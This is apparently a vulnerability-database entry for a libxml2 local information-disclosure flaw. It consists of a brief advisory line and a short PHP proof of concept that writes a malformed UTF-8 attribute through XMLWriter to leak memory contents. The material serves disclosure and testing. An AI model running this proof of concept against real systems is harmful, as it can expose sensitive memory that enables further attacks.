source: https://www.securityfocus.com/bid/45973/info The 'libxml2' library is prone to a local information-disclosure vulnerability. Attackers can exploit this issue to obtain sensitive information that may lead to further attacks. <?php # Copyright 2010, Canonical, Ltd. # Author: Kees Cook <kees@ubuntu.com> # License: GPLv3 # # Proof-of-concept memory content leak $xw = new XMLWriter(); $xw->openURI('php://output'); $xw->startElement('input'); $xw->writeAttribute('value', "\xe0\x81"); $xw->endElement(); ?>